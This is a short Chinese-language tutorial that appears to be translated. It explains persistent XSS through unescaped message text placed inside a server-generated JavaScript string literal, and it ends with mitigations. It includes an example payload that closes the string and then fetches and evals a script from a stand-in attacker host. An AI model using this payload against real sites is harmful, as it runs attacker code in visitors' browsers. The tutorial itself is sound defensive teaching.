來自 JavaScript 字串文字的持久跨站指令碼

假設 Bob 擁有一個允許你釋出公共訊息的網站。

訊息由一個如下所示的指令碼載入:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

addMessage 函式向 DOM 新增發布訊息。但是,為了避免使用 XSS,釋出的郵件中的任何 HTML 都會被轉義。

該指令碼在伺服器上生成如下:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

因此愛麗絲髮布了一條訊息:My mom said: "Life is good. Pie makes it better. "。比預覽訊息時,她沒有看到她的訊息,而是在控制檯中看到錯誤:

Uncaught SyntaxError: missing ) after argument list

為什麼?因為生成的指令碼如下所示:

addMessage("My mom said: "Life is good. Pie makes it better. "");

這是一個語法錯誤。比愛麗絲帖子:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

然後生成的指令碼如下所示:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

這會新增訊息 I like pie,但每當有人訪問 Bob 的網站時,它也會下載並執行 https://alice.evil/js_xss.js

減輕:

  1. 傳遞釋出到 JSON.stringify() 的訊息
  2. 而不是動態構建指令碼,而是構建一個純文字檔案,其中包含稍後由指令碼提取的所有訊息
  3. 新增內容安全策略 ,拒絕從其他域載入活動內容